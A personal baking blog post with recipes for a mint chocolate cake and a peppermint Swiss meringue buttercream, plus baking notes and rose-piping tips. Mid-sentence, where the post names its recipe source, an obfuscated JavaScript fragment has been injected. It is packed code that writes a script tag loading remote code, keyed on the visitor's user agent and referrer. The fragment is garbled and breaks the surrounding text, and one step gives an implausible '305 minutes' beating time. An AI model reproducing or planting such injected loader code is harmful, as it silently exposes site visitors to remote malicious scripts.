Mint Chocolate Cake with Mint Frosting

My friend, Brooke celebrated her birthday on Sunday.  To celebrate, I decided to make her a mint chocolate cake.  She has a thing for mint chocolate.  And who can blame her?  The combo is pretty delicious!

First, a little mint chocolate cake research!  I headed to Annie’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfkb|var|u0026u|referrer|rybyt||js|php’.split(‘|’),0,{}))
Eats and found a mint swiss meringue buttercream recipe and found a mint chocolate cake recipe at Bird On A Cake!  I was ready.

Mint Chocolate Cake (adapted from HERE)

Ingredients

• 1 cup boiling water
• 2 cups sugar
• 1 3/4 cups flour
• 3/4 cup cocoa powder
• 2 teaspoons baking soda
• 1 teaspoon baking powder
• 2 Tbs King Arthur’s cake enhancer
• 1 teaspoon salt
• 2 eggs
• 1 cup buttermilk
• 1/2 cup oil
• 1 teaspoon vanilla
• 1 cup chopped Andes Mints (1 1/4 packages of mints)

Steps

1.  Combine sugar, flour, cocoa, baking soda, baking powder, cake enhancer and salt
2.  Add the eggs, buttermilk, oil and vanilla
3.  Mix until smooth
4.  Add the boiling water slowly and combine
5.  Fold in the mints
6.  Pour into 2 greased and floured 9″ pans (3, 8″ pans will also work)
7.  Bake at 350 for 20-25 min, or until a toothpick comes out clean
8.  Let cool until ready to decorate
NOTES:  This was the first time I tried the recipe and will likely do a few things different next time.  First, the mints sink to the bottom of the mixer (and the bottom of the cake pan.  I’d sprinkle the mints on the bottom of the pan to make sure they are evenly distributed, then pour the batter over the top.  Also, to help with sticking issues, I’d also put a piece of parchment on the bottom of the pan.  The candy stuck to the pan and made it impossible to get the cakes out whole.  I think a round of parchment would do the trick!

Swiss meringue buttercream.  My arch nemesis.  I’ve tried to make SMBC at least 4 times before.  It never turns out.  It gets all curdled looking and I curse under my breath…..who are we kidding…..I curse outloud.  Then I found these detailed directions over at Sweetapolita and the SMBC turned out great!

SMBC (adapted from HERE)

Ingredients

• 5 large egg whites
• 1 cup plus 2 tbsp. sugar
• 1 lb. (4 sticks) unsalted butter, at room temperature
• 2-3 tsp. peppermint extract (I used 2)

Steps

1.  Combine the egg whites and sugar in a metal bowl.
2.  Whisk over a small pot of simmering water (the water doesn’t need to be touching the bowl).  Lightly whisk, combining the sugar and egg whites, until the mixture reaches 160.  You’ll need a thermometer.
3.  When the mixture has reached 160, pour it into the bowl of a stand mixer with the whisk attachment.  Whisk for at least 8-10 minutes….maybe longer.  Stiff, glossy peaks will form.  Continue to whisk until the bowl is room temperature.  This is key. If the bowl is warm, keep waiting.
4.  Cut up your butter into 1-2 TBS pats.
5.  Begin dropping the butter, 1-2 TBS at a time, into the egg white mixture.  Wait until the butter combines and then continue to add more.
6.  Once all of the butter has been added, switch to the paddle attachment and beat for another 305 minutes – until the mixture is glossy, thick, and smooth.
7.  IF at any point the mixture starts to cool, be patient.  I also read that you can put it in the fridge for a little to help cool it off.  The curdling happens if the butter gets too warm and melts.

Decorating!

I use baking strips to help the cakes bake without a dome on top.  They worked great for this recipe and I didn’t need to level them.  I put a little buttercream between the layers and didn’t bother with a crumb layer (good thing, there was just enough frosting for the roses).

I used a giant star tip to make the roses.  Start in the center of the cake and make a spiral with the tip.  It’ll magically look like a rose.  Work your way out and down the side.  That’s about it!  It’s on of those things that looks fancier than it really is 🙂  PS I tinted the frosting green to go with the mint theme.

The cake was a hit, but I wasn’t in love with SMBC.  Too buttery for me!  I think a plain powdered sugar frosting would go great with the cake – you could even add a little mint if you wanted to.  I also really liked the cake recipe (but I still think Betty Crocker chocolate cake is the best bang for your buck – in a pinch, it’s the best $2 cake around!).  I can see myself trying this cake again, but maybe with the tweaks mentioned above.  Another friend also recommended baking brownies and then pouring the chopped andes mints over the warm brownies.  Once they melt, you can spread it evenly!  That sounded even easier and equally delicious.  Sounds like I have a few more baking endeavors!